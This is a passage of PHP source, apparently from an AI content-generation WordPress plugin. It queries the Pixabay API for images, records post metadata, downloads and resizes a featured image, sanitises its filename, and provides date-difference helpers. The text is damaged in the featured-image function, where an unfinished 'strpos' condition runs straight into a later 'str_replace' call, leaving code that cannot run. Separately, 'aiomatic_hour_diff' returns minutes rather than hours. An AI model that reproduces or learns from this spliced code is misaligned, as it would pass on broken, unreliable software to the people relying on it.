                else
                {
                    $max_res = 4;
                }
                $original_url = 'https://pixabay.com';
                $featured_image = '';
                $feed_uri = 'https://pixabay.com/api/?key=' . trim($app_id);
                if(isset($aiomatic_Main_Settings['image_query_translate_en']) && $aiomatic_Main_Settings['image_query_translate_en'] == 'on')
                {
                    $text_trans = aiomatic_translate_stability($query);
                    if($text_trans != $query && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Pixabay query translated from: "' . $query . '" to: "' . $text_trans . '"');
                        $query = $text_trans;
                    }
                }
                if($query != '')
                {
                    $feed_uri .= '&q=' . urlencode($query);
                }
                $feed_uri .= '&per_page=' . $get_max;
                if($lang != '' && $lang != 'any')
                {
                    $feed_uri .= '&lang=' . $lang;
                }
                if($image_type != '')
                {
                    $feed_uri .= '&image_type=' . $image_type;
                }
                if($orientation != '')
                {
                    $feed_uri .= '&orientation=' . $orientation;
                }
                if($order != '')
                {
                    $feed_uri .= '&order=' . $order;
                }
                if($image_category != '')
                {
                    $feed_uri .= '&category=' . $image_category;
                }
                if($max_width != '')
                {
                    $feed_uri .= '&max_width=' . $max_width;
                }
                if($min_width != '')
                {
                    $feed_uri .= '&min_width=' . $min_width;
                }
                if($safe_search == '1')
                {
                    $feed_uri .= '&safesearch=true';
                }
                if($editors_choice == '1')
                {
                    $feed_uri .= '&editors_choice=true';
                }
                $exec = aiomatic_get_web_page($feed_uri);
                if ($exec !== FALSE) 
                {
                    if (stristr($exec, '"hits"') !== FALSE) 
                    {
                        $exec = preg_replace('#^[a-zA-Z0-9]*#', '', $exec);
                        $exec = trim($exec, '()');
                        $json  = json_decode($exec);
                        $items = $json->hits;
                        if (count($items) != 0) 
                        {
                            foreach($items as $item)
                            {
                                $full_result_list[] = $item->webformatURL;
                            }
                            $items = array_slice($items, 0, $max_res, true);
                            if(!isset($aiomatic_Main_Settings['random_results_order']) || $aiomatic_Main_Settings['random_results_order'] != 'on')
                            {
                                shuffle($items);
                            }
                            foreach($items as $item)
                            {
                                if($featured_image == '' && !in_array($item->pageURL, $added_img_list))
                                {
                                    $added_img_list[] = $item->pageURL;
                                    $featured_image = $item->webformatURL;
                                    $original_url = $item->pageURL;
                                    break;
                                }
                            }
                        }
                    }
                    else
                    {
                        aiomatic_log_to_file('Unknow response from api: ' . $feed_uri . ' - resp: ' . $exec);
                        return false;
                    }
                }
                else
                {
                    aiomatic_log_to_file('Error while getting api url: ' . $feed_uri);
                    return false;
                }
                return $featured_image;
            }
            
            function aiomatic_addPostMeta($post_id, $post, $param, $type, $featured_img, $post_topic, $rule_unique_id, $post_link)
            {
                if(empty($rule_unique_id))
                {
                    $rule_unique_id = $param;
                }
                if(!empty($post_link))
                {
                    add_post_meta($post_id, 'aiomatic_rss_link', $post_link);
                }
                add_post_meta($post_id, 'aiomatic_parent_rule', $type . '-' . $rule_unique_id);
                add_post_meta($post_id, 'aiomatic_parent_number', $param);
                add_post_meta($post_id, 'aiomatic_parent_type', $type);
                add_post_meta($post_id, 'aiomatic_enable_pingbacks', $post['aiomatic_enable_pingbacks']);
                add_post_meta($post_id, 'aiomatic_comment_status', $post['comment_status']);
                add_post_meta($post_id, 'aiomatic_extra_categories', $post['extra_categories']);
                add_post_meta($post_id, 'aiomatic_extra_tags', $post['extra_tags']);
                add_post_meta($post_id, 'aiomatic_featured_img', $featured_img);
                add_post_meta($post_id, 'aiomatic_timestamp', $post['aiomatic_timestamp']);
                add_post_meta($post_id, 'aiomatic_source_title', $post['aiomatic_source_title']);
                if($post_topic != '')
                {
                    add_post_meta($post_id, 'aiomatic_post_topic', $post_topic);
                }
            }
            function aiomatic_addPostMeta_special($post_id, $param, $type, $post_topic, $rule_unique_id)
            {
                if(empty($rule_unique_id))
                {
                    $rule_unique_id = $param;
                }
                add_post_meta($post_id, 'aiomatic_parent_rule', $type . '-' . $rule_unique_id);
                add_post_meta($post_id, 'aiomatic_parent_number', $param);
                add_post_meta($post_id, 'aiomatic_parent_type', $type);
                if($post_topic != '')
                {
                    add_post_meta($post_id, 'aiomatic_post_keyword', $post_topic);
                }
            }
            function aiomatic_endsWith($haystack, $needle)
            {
                $length = strlen($needle);
                if ($length == 0) {
                    return true;
                }
            
                return (substr($haystack, -$length) === $needle);
            }
            function aiomatic_generate_featured_image($image_url, $post_id)
            {
                if(empty($image_url))
                {
                    return false;
                }
                $upload_dir = wp_upload_dir();
                if(!function_exists('is_plugin_active'))
                {
                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['url_image']) && $aiomatic_Main_Settings['url_image'] == 'on' && (is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')))
                {
                    if(!aiomatic_url_is_image($image_url))
                    {
                        aiomatic_log_to_file('Provided remote image is not valid: ' . print_r($image_url, true));
                        return false;
                    }
                    if(function_exists('fifu_dev_set_image'))
                    {
                        fifu_dev_set_image($post_id, $image_url);
                    }
                    else
                    {
                        $value = aiomatic_get_formatted_value($image_url, '', $post_id);
                        $attach_id = aiomatic_insert_attachment_by($value);
                        update_post_meta($post_id, '_thumbnail_id', $attach_id);
                        update_post_meta($post_id, 'fifu_image_url', $image_url);
                        update_post_meta($attach_id, '_wp_attached_file', ';' . $image_url);
                        $attach = get_post( $attach_id );
                        if($attach !== null)
                        {
                            $attach->post_author = 77777;
                            wp_update_post( $attach );
                        }
                    }
                    return true;
                }
                global $wp_filesystem;
                if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                    include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                    wp_filesystem($creds);
                }
                $image_data = $wp_filesystem->get_contents($image_url);
                if ($image_data === FALSE || empty($image_data)) {
                    $image_data = aiomatic_get_web_page($image_url);
                    if ($image_data === FALSE || empty($image_data) || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, '', '-', $filename);
                $filename = str_replace('*', '-', $filename);
                $filename = str_replace('/', '-', $filename);
                $filename = str_replace('$', '-', $filename);
                $filename = str_replace('\'', '-', $filename);
                $filename = str_replace('"', '-', $filename);
                $filename = str_replace(':', '-', $filename);
                $filename = str_replace('@', '-', $filename);
                $filename = str_replace('+', '-', $filename);
                $filename = str_replace('|', '-', $filename);
                $filename = str_replace('=', '-', $filename);
                $filename = str_replace('`', '-', $filename);
                $filename = stripslashes(preg_replace_callback('#(%[a-zA-Z0-9_]*)#', function($matches){ return rand(0, 9); }, preg_quote($filename)));
                $file_parts = pathinfo($filename);
                $post_title = get_the_title($post_id);
                if($post_title != '')
                {
                    $post_title = remove_accents( $post_title );
                    $invalid = array(
                        ' '   => '-',
                        '%20' => '-',
                        '_'   => '-',
                    );
                    $post_title = str_replace( array_keys( $invalid ), array_values( $invalid ), $post_title );
                    $post_title = preg_replace('/[\x{1F3F4}](?:\x{E0067}\x{E0062}\x{E0077}\x{E006C}\x{E0073}\x{E007F})|[\x{1F3F4}](?:\x{E0067}\x{E0062}\x{E0073}\x{E0063}\x{E0074}\x{E007F})|[\x{1F3F4}](?:\x{E0067}\x{E0062}\x{E0065}\x{E006E}\x{E0067}\x{E007F})|[\x{1F3F4}](?:\x{200D}\x{2620}\x{FE0F})|[\x{1F3F3}](?:\x{FE0F}\x{200D}\x{1F308})|[\x{0023}\x{002A}\x{0030}\x{0031}\x{0032}\x{0033}\x{0034}\x{0035}\x{0036}\x{0037}\x{0038}\x{0039}](?:\x{FE0F}\x{20E3})|[\x{1F415}](?:\x{200D}\x{1F9BA})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F467}\x{200D}\x{1F467})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F467}\x{200D}\x{1F466})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F467})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F466}\x{200D}\x{1F466})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F466})|[\x{1F468}](?:\x{200D}\x{1F468}\x{200D}\x{1F467}\x{200D}\x{1F467})|[\x{1F468}](?:\x{200D}\x{1F468}\x{200D}\x{1F466}\x{200D}\x{1F466})|[\x{1F468}](?:\x{200D}\x{1F468}\x{200D}\x{1F467}\x{200D}\x{1F466})|[\x{1F468}](?:\x{200D}\x{1F468}\x{200D}\x{1F467})|[\x{1F468}](?:\x{200D}\x{1F468}\x{200D}\x{1F466})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F469}\x{200D}\x{1F467}\x{200D}\x{1F467})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F469}\x{200D}\x{1F466}\x{200D}\x{1F466})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F469}\x{200D}\x{1F467}\x{200D}\x{1F466})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F469}\x{200D}\x{1F467})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F469}\x{200D}\x{1F466})|[\x{1F469}](?:\x{200D}\x{2764}\x{FE0F}\x{200D}\x{1F469})|[\x{1F469}\x{1F468}](?:\x{200D}\x{2764}\x{FE0F}\x{200D}\x{1F468})|[\x{1F469}](?:\x{200D}\x{2764}\x{FE0F}\x{200D}\x{1F48B}\x{200D}\x{1F469})|[\x{1F469}\x{1F468}](?:\x{200D}\x{2764}\x{FE0F}\x{200D}\x{1F48B}\x{200D}\x{1F468})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F9BD})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F9BC})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F9AF})|[\x{1F575}\x{1F3CC}\x{26F9}\x{1F3CB}](?:\x{FE0F}\x{200D}\x{2640}\x{FE0F})|[\x{1F575}\x{1F3CC}\x{26F9}\x{1F3CB}](?:\x{FE0F}\x{200D}\x{2642}\x{FE0F})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F692})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F680})|[\x{1F468}\x{1F469}](?:\x{200D}\x{2708}\x{FE0F})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F3A8})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F3A4})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F4BB})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F52C})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F4BC})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F3ED})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F527})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F373})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F33E})|[\x{1F468}\x{1F469}](?:\x{200D}\x{2696}\x{FE0F})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F3EB})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F393})|[\x{1F468}\x{1F469}](?:\x{200D}\x{2695}\x{FE0F})|[\x{1F471}\x{1F64D}\x{1F64E}\x{1F645}\x{1F646}\x{1F481}\x{1F64B}\x{1F9CF}\x{1F647}\x{1F926}\x{1F937}\x{1F46E}\x{1F482}\x{1F477}\x{1F473}\x{1F9B8}\x{1F9B9}\x{1F9D9}\x{1F9DA}\x{1F9DB}\x{1F9DC}\x{1F9DD}\x{1F9DE}\x{1F9DF}\x{1F486}\x{1F487}\x{1F6B6}\x{1F9CD}\x{1F9CE}\x{1F3C3}\x{1F46F}\x{1F9D6}\x{1F9D7}\x{1F3C4}\x{1F6A3}\x{1F3CA}\x{1F6B4}\x{1F6B5}\x{1F938}\x{1F93C}\x{1F93D}\x{1F93E}\x{1F939}\x{1F9D8}](?:\x{200D}\x{2640}\x{FE0F})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F9B2})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F9B3})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F9B1})|[\x{1F468}\x{1F469}](?:\x{200D}\x{1F9B0})|[\x{1F471}\x{1F64D}\x{1F64E}\x{1F645}\x{1F646}\x{1F481}\x{1F64B}\x{1F9CF}\x{1F647}\x{1F926}\x{1F937}\x{1F46E}\x{1F482}\x{1F477}\x{1F473}\x{1F9B8}\x{1F9B9}\x{1F9D9}\x{1F9DA}\x{1F9DB}\x{1F9DC}\x{1F9DD}\x{1F9DE}\x{1F9DF}\x{1F486}\x{1F487}\x{1F6B6}\x{1F9CD}\x{1F9CE}\x{1F3C3}\x{1F46F}\x{1F9D6}\x{1F9D7}\x{1F3C4}\x{1F6A3}\x{1F3CA}\x{1F6B4}\x{1F6B5}\x{1F938}\x{1F93C}\x{1F93D}\x{1F93E}\x{1F939}\x{1F9D8}](?:\x{200D}\x{2642}\x{FE0F})|[\x{1F441}](?:\x{FE0F}\x{200D}\x{1F5E8}\x{FE0F})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1E9}\x{1F1F0}\x{1F1F2}\x{1F1F3}\x{1F1F8}\x{1F1F9}\x{1F1FA}](?:\x{1F1FF})|[\x{1F1E7}\x{1F1E8}\x{1F1EC}\x{1F1F0}\x{1F1F1}\x{1F1F2}\x{1F1F5}\x{1F1F8}\x{1F1FA}](?:\x{1F1FE})|[\x{1F1E6}\x{1F1E8}\x{1F1F2}\x{1F1F8}](?:\x{1F1FD})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1EC}\x{1F1F0}\x{1F1F2}\x{1F1F5}\x{1F1F7}\x{1F1F9}\x{1F1FF}](?:\x{1F1FC})|[\x{1F1E7}\x{1F1E8}\x{1F1F1}\x{1F1F2}\x{1F1F8}\x{1F1F9}](?:\x{1F1FB})|[\x{1F1E6}\x{1F1E8}\x{1F1EA}\x{1F1EC}\x{1F1ED}\x{1F1F1}\x{1F1F2}\x{1F1F3}\x{1F1F7}\x{1F1FB}](?:\x{1F1FA})|[\x{1F1E6}\x{1F1E7}\x{1F1EA}\x{1F1EC}\x{1F1ED}\x{1F1EE}\x{1F1F1}\x{1F1F2}\x{1F1F5}\x{1F1F8}\x{1F1F9}\x{1F1FE}](?:\x{1F1F9})|[\x{1F1E6}\x{1F1E7}\x{1F1EA}\x{1F1EC}\x{1F1EE}\x{1F1F1}\x{1F1F2}\x{1F1F5}\x{1F1F7}\x{1F1F8}\x{1F1FA}\x{1F1FC}](?:\x{1F1F8})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1EA}\x{1F1EB}\x{1F1EC}\x{1F1ED}\x{1F1EE}\x{1F1F0}\x{1F1F1}\x{1F1F2}\x{1F1F3}\x{1F1F5}\x{1F1F8}\x{1F1F9}](?:\x{1F1F7})|[\x{1F1E6}\x{1F1E7}\x{1F1EC}\x{1F1EE}\x{1F1F2}](?:\x{1F1F6})|[\x{1F1E8}\x{1F1EC}\x{1F1EF}\x{1F1F0}\x{1F1F2}\x{1F1F3}](?:\x{1F1F5})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1E9}\x{1F1EB}\x{1F1EE}\x{1F1EF}\x{1F1F2}\x{1F1F3}\x{1F1F7}\x{1F1F8}\x{1F1F9}](?:\x{1F1F4})|[\x{1F1E7}\x{1F1E8}\x{1F1EC}\x{1F1ED}\x{1F1EE}\x{1F1F0}\x{1F1F2}\x{1F1F5}\x{1F1F8}\x{1F1F9}\x{1F1FA}\x{1F1FB}](?:\x{1F1F3})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1E9}\x{1F1EB}\x{1F1EC}\x{1F1ED}\x{1F1EE}\x{1F1EF}\x{1F1F0}\x{1F1F2}\x{1F1F4}\x{1F1F5}\x{1F1F8}\x{1F1F9}\x{1F1FA}\x{1F1FF}](?:\x{1F1F2})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1EC}\x{1F1EE}\x{1F1F2}\x{1F1F3}\x{1F1F5}\x{1F1F8}\x{1F1F9}](?:\x{1F1F1})|[\x{1F1E8}\x{1F1E9}\x{1F1EB}\x{1F1ED}\x{1F1F1}\x{1F1F2}\x{1F1F5}\x{1F1F8}\x{1F1F9}\x{1F1FD}](?:\x{1F1F0})|[\x{1F1E7}\x{1F1E9}\x{1F1EB}\x{1F1F8}\x{1F1F9}](?:\x{1F1EF})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1EB}\x{1F1EC}\x{1F1F0}\x{1F1F1}\x{1F1F3}\x{1F1F8}\x{1F1FB}](?:\x{1F1EE})|[\x{1F1E7}\x{1F1E8}\x{1F1EA}\x{1F1EC}\x{1F1F0}\x{1F1F2}\x{1F1F5}\x{1F1F8}\x{1F1F9}](?:\x{1F1ED})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1E9}\x{1F1EA}\x{1F1EC}\x{1F1F0}\x{1F1F2}\x{1F1F3}\x{1F1F5}\x{1F1F8}\x{1F1F9}\x{1F1FA}\x{1F1FB}](?:\x{1F1EC})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1EC}\x{1F1F2}\x{1F1F3}\x{1F1F5}\x{1F1F9}\x{1F1FC}](?:\x{1F1EB})|[\x{1F1E6}\x{1F1E7}\x{1F1E9}\x{1F1EA}\x{1F1EC}\x{1F1EE}\x{1F1EF}\x{1F1F0}\x{1F1F2}\x{1F1F3}\x{1F1F5}\x{1F1F7}\x{1F1F8}\x{1F1FB}\x{1F1FE}](?:\x{1F1EA})|[\x{1F1E6}\x{1F1E7}\x{1F1E8}\x{1F1EC}\x{1F1EE}\x{1F1F2}\x{1F1F8}\x{1F1F9}](?:\x{1F1E9})|[\x{1F1E6}\x{1F1E8}\x{1F1EA}\x{1F1EE}\x{1F1F1}\x{1F1F2}\x{1F1F3}\x{1F1F8}\x{1F1F9}\x{1F1FB}](?:\x{1F1E8})|[\x{1F1E7}\x{1F1EC}\x{1F1F1}\x{1F1F8}](?:\x{1F1E7})|[\x{1F1E7}\x{1F1E8}\x{1F1EA}\x{1F1EC}\x{1F1F1}\x{1F1F2}\x{1F1F3}\x{1F1F5}\x{1F1F6}\x{1F1F8}\x{1F1F9}\x{1F1FA}\x{1F1FB}\x{1F1FF}](?:\x{1F1E6})|[\x{00A9}\x{00AE}\x{203C}\x{2049}\x{2122}\x{2139}\x{2194}-\x{2199}\x{21A9}-\x{21AA}\x{231A}-\x{231B}\x{2328}\x{23CF}\x{23E9}-\x{23F3}\x{23F8}-\x{23FA}\x{24C2}\x{25AA}-\x{25AB}\x{25B6}\x{25C0}\x{25FB}-\x{25FE}\x{2600}-\x{2604}\x{260E}\x{2611}\x{2614}-\x{2615}\x{2618}\x{261D}\x{2620}\x{2622}-\x{2623}\x{2626}\x{262A}\x{262E}-\x{262F}\x{2638}-\x{263A}\x{2640}\x{2642}\x{2648}-\x{2653}\x{265F}-\x{2660}\x{2663}\x{2665}-\x{2666}\x{2668}\x{267B}\x{267E}-\x{267F}\x{2692}-\x{2697}\x{2699}\x{269B}-\x{269C}\x{26A0}-\x{26A1}\x{26AA}-\x{26AB}\x{26B0}-\x{26B1}\x{26BD}-\x{26BE}\x{26C4}-\x{26C5}\x{26C8}\x{26CE}-\x{26CF}\x{26D1}\x{26D3}-\x{26D4}\x{26E9}-\x{26EA}\x{26F0}-\x{26F5}\x{26F7}-\x{26FA}\x{26FD}\x{2702}\x{2705}\x{2708}-\x{270D}\x{270F}\x{2712}\x{2714}\x{2716}\x{271D}\x{2721}\x{2728}\x{2733}-\x{2734}\x{2744}\x{2747}\x{274C}\x{274E}\x{2753}-\x{2755}\x{2757}\x{2763}-\x{2764}\x{2795}-\x{2797}\x{27A1}\x{27B0}\x{27BF}\x{2934}-\x{2935}\x{2B05}-\x{2B07}\x{2B1B}-\x{2B1C}\x{2B50}\x{2B55}\x{3030}\x{303D}\x{3297}\x{3299}\x{1F004}\x{1F0CF}\x{1F170}-\x{1F171}\x{1F17E}-\x{1F17F}\x{1F18E}\x{1F191}-\x{1F19A}\x{1F201}-\x{1F202}\x{1F21A}\x{1F22F}\x{1F232}-\x{1F23A}\x{1F250}-\x{1F251}\x{1F300}-\x{1F321}\x{1F324}-\x{1F393}\x{1F396}-\x{1F397}\x{1F399}-\x{1F39B}\x{1F39E}-\x{1F3F0}\x{1F3F3}-\x{1F3F5}\x{1F3F7}-\x{1F3FA}\x{1F400}-\x{1F4FD}\x{1F4FF}-\x{1F53D}\x{1F549}-\x{1F54E}\x{1F550}-\x{1F567}\x{1F56F}-\x{1F570}\x{1F573}-\x{1F57A}\x{1F587}\x{1F58A}-\x{1F58D}\x{1F590}\x{1F595}-\x{1F596}\x{1F5A4}-\x{1F5A5}\x{1F5A8}\x{1F5B1}-\x{1F5B2}\x{1F5BC}\x{1F5C2}-\x{1F5C4}\x{1F5D1}-\x{1F5D3}\x{1F5DC}-\x{1F5DE}\x{1F5E1}\x{1F5E3}\x{1F5E8}\x{1F5EF}\x{1F5F3}\x{1F5FA}-\x{1F64F}\x{1F680}-\x{1F6C5}\x{1F6CB}-\x{1F6D2}\x{1F6D5}\x{1F6E0}-\x{1F6E5}\x{1F6E9}\x{1F6EB}-\x{1F6EC}\x{1F6F0}\x{1F6F3}-\x{1F6FA}\x{1F7E0}-\x{1F7EB}\x{1F90D}-\x{1F93A}\x{1F93C}-\x{1F945}\x{1F947}-\x{1F971}\x{1F973}-\x{1F976}\x{1F97A}-\x{1F9A2}\x{1F9A5}-\x{1F9AA}\x{1F9AE}-\x{1F9CA}\x{1F9CD}-\x{1F9FF}\x{1FA70}-\x{1FA73}\x{1FA78}-\x{1FA7A}\x{1FA80}-\x{1FA82}\x{1FA90}-\x{1FA95}]/u', '', $post_title);
                    $post_title = preg_replace('/\.(?=.*\.)/', '', $post_title);
                    $post_title = preg_replace('/-+/', '-', $post_title);
                    $post_title = str_replace('-.', '.', $post_title);
                    $post_title = strtolower( $post_title );
                    if($post_title == '')
                    {
                        $post_title = uniqid();
                    }
                    if(isset($file_parts['extension']))
                    {
                        switch($file_parts['extension'])
                        {
                            case "":
                            $filename = sanitize_title($post_title) . '.jpg';
                            break;
                            case NULL:
                            $filename = sanitize_title($post_title) . '.jpg';
                            break;
                            default:
                            $filename = sanitize_title($post_title) . '.' . $file_parts['extension'];
                            break;
                        }
                    }
                    else
                    {
                        $filename = sanitize_title($post_title) . '.jpg';
                    }
                }
                else
                {
                    if(isset($file_parts['extension']))
                    {
                        switch($file_parts['extension'])
                        {
                            case "":
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                            case NULL:
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                            default:
                            if(!aiomatic_endsWith($filename, '.' . $file_parts['extension']))
                                $filename .= '.' . $file_parts['extension'];
                            break;
                        }
                    }
                    else
                    {
                        if(!aiomatic_endsWith($filename, '.jpg'))
                            $filename .= '.jpg';
                    }
                }
                $filename = sanitize_file_name($filename);
                if (wp_mkdir_p($upload_dir['path']))
                    $file = $upload_dir['path'] . '/' . $post_id . '-' . $filename;
                else
                    $file = $upload_dir['basedir'] . '/' . $post_id . '-' . $filename;
                if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                    include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                    wp_filesystem($creds);
                }
                $ret = $wp_filesystem->put_contents($file, $image_data);
                if ($ret === FALSE) {
                    return false;
                }
                $wp_filetype = wp_check_filetype($filename, null);
                if($wp_filetype['type'] == '')
                {
                    $wp_filetype['type'] = 'image/png';
                }
                $attachment  = array(
                    'post_mime_type' => $wp_filetype['type'],
                    'post_title' => sanitize_file_name($filename),
                    'post_content' => '',
                    'post_status' => 'inherit'
                );
                if ((isset($aiomatic_Main_Settings['resize_height']) && $aiomatic_Main_Settings['resize_height'] !== '') || (isset($aiomatic_Main_Settings['resize_width']) && $aiomatic_Main_Settings['resize_width'] !== ''))
                {
                    try
                    {
                        if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");}
                        $imageRes = new ImageResize($file);
                        if (isset($aiomatic_Main_Settings['resize_quality']) && $aiomatic_Main_Settings['resize_quality'] !== '')
                        {
                            $imageRes->quality_jpg = intval($aiomatic_Main_Settings['resize_quality']);
                        }
                        else
                        {
                            $imageRes->quality_jpg = 100;
                        }
                        if ((isset($aiomatic_Main_Settings['resize_height']) && $aiomatic_Main_Settings['resize_height'] !== '') && (isset($aiomatic_Main_Settings['resize_width']) && $aiomatic_Main_Settings['resize_width'] !== ''))
                        {
                            $imageRes->resizeToBestFit($aiomatic_Main_Settings['resize_width'], $aiomatic_Main_Settings['resize_height'], true);
                        }
                        elseif (isset($aiomatic_Main_Settings['resize_width']) && $aiomatic_Main_Settings['resize_width'] !== '')
                        {
                            $imageRes->resizeToWidth($aiomatic_Main_Settings['resize_width'], true);
                        }
                        elseif (isset($aiomatic_Main_Settings['resize_height']) && $aiomatic_Main_Settings['resize_height'] !== '')
                        {
                            $imageRes->resizeToHeight($aiomatic_Main_Settings['resize_height'], true);
                        }
                        $imageRes->save($file);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to resize featured image: ' . $image_url . ' to sizes ' . $aiomatic_Main_Settings['resize_width'] . ' - ' . $aiomatic_Main_Settings['resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!');
                    }
                }
                $attach_id   = wp_insert_attachment($attachment, $file, $post_id);
                if ($attach_id === 0) {
                    return false;
                }
                require_once(ABSPATH . 'wp-admin/includes/image.php');
                require_once(ABSPATH . 'wp-admin/includes/media.php');
                $attach_data = wp_generate_attachment_metadata($attach_id, $file);
                wp_update_attachment_metadata($attach_id, $attach_data);
                $res2 = set_post_thumbnail($post_id, $attach_id);
                if ($res2 === FALSE) {
                    return false;
                }
                $post_title = get_the_title($post_id);
                if($post_title != '')
                {
                    update_post_meta($attach_id, '_wp_attachment_image_alt', $post_title);
                }
                return true;
            }
            
            function aiomatic_assign_featured_image_path($filename, $post_id)
            {
                $wp_filetype = wp_check_filetype($filename, null);
                if($wp_filetype['type'] == '')
                {
                    $wp_filetype['type'] = 'image/png';
                }
                $post_title = get_the_title($post_id);
                $attachment  = array(
                    'post_mime_type' => $wp_filetype['type'],
                    'post_title' => $post_title,
                    'post_content' => '',
                    'post_status' => 'inherit'
                );
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if ((isset($aiomatic_Main_Settings['resize_height']) && $aiomatic_Main_Settings['resize_height'] !== '') || (isset($aiomatic_Main_Settings['resize_width']) && $aiomatic_Main_Settings['resize_width'] !== ''))
                {
                    try
                    {
                        if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");}
                        $imageRes = new ImageResize($filename);
                        if (isset($aiomatic_Main_Settings['resize_quality']) && $aiomatic_Main_Settings['resize_quality'] !== '')
                        {
                            $imageRes->quality_jpg = intval($aiomatic_Main_Settings['resize_quality']);
                        }
                        else
                        {
                            $imageRes->quality_jpg = 100;
                        }
                        if ((isset($aiomatic_Main_Settings['resize_height']) && $aiomatic_Main_Settings['resize_height'] !== '') && (isset($aiomatic_Main_Settings['resize_width']) && $aiomatic_Main_Settings['resize_width'] !== ''))
                        {
                            $imageRes->resizeToBestFit($aiomatic_Main_Settings['resize_width'], $aiomatic_Main_Settings['resize_height'], true);
                        }
                        elseif (isset($aiomatic_Main_Settings['resize_width']) && $aiomatic_Main_Settings['resize_width'] !== '')
                        {
                            $imageRes->resizeToWidth($aiomatic_Main_Settings['resize_width'], true);
                        }
                        elseif (isset($aiomatic_Main_Settings['resize_height']) && $aiomatic_Main_Settings['resize_height'] !== '')
                        {
                            $imageRes->resizeToHeight($aiomatic_Main_Settings['resize_height'], true);
                        }
                        $imageRes->save($filename);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to resize featured image: ' . $filename . ' to sizes ' . $aiomatic_Main_Settings['resize_width'] . ' - ' . $aiomatic_Main_Settings['resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!');
                    }
                }
                $attach_id   = wp_insert_attachment($attachment, $filename, $post_id);
                if ($attach_id === 0) {
                    return false;
                }
                require_once(ABSPATH . 'wp-admin/includes/image.php');
                require_once(ABSPATH . 'wp-admin/includes/media.php');
                $attach_data = wp_generate_attachment_metadata($attach_id, $filename);
                wp_update_attachment_metadata($attach_id, $attach_data);
                $res2 = set_post_thumbnail($post_id, $attach_id);
                if ($res2 === FALSE) {
                    return false;
                }
                if($post_title != '')
                {
                    update_post_meta($attach_id, '_wp_attachment_image_alt', $post_title);
                }
                return true;
            }
            
            function aiomatic_hour_diff($date1, $date2)
            {
                $date1 = new DateTime($date1);
                $date2 = new DateTime($date2);
                
                $number1 = (int) $date1->format('U');
                $number2 = (int) $date2->format('U');
                return ($number1 - $number2) / 60;
            }
            
            function aiomatic_minute_diff($date1, $date2)
            {
                $date1 = new DateTime($date1);
                $date2 = new DateTime($date2);
                
                $number1 = (int) $date1->format('U');
                $number2 = (int) $date2->format('U');
                return ($number1 - $number2);
            }
            
            function aiomatic_add_minute($date, $minute)
            {
                $date1 = new DateTime($date);
                $date1->modify("$minute minutes");
                $date1 = (array)$date1;
                foreach ($date1 as $key => $value) {
                    if ($key == 'date') {
                        return $value;
                    }
                }
                return $date;
            }
            function aiomatic_add_hour($date, $hour)
            {
                $date1 = new DateTime($date);
                $date1->modify("$hour hours");
                $date1 = (array)$date1;
                foreach ($date1 as $key => $value) {
                    if ($key == 'date') {
                        return $value;
                    }
                }
                return $date;
            }
            
            function aiomatic_wp_custom_css_files($src, $cont)
            {
                $name = md5(get_bloginfo());
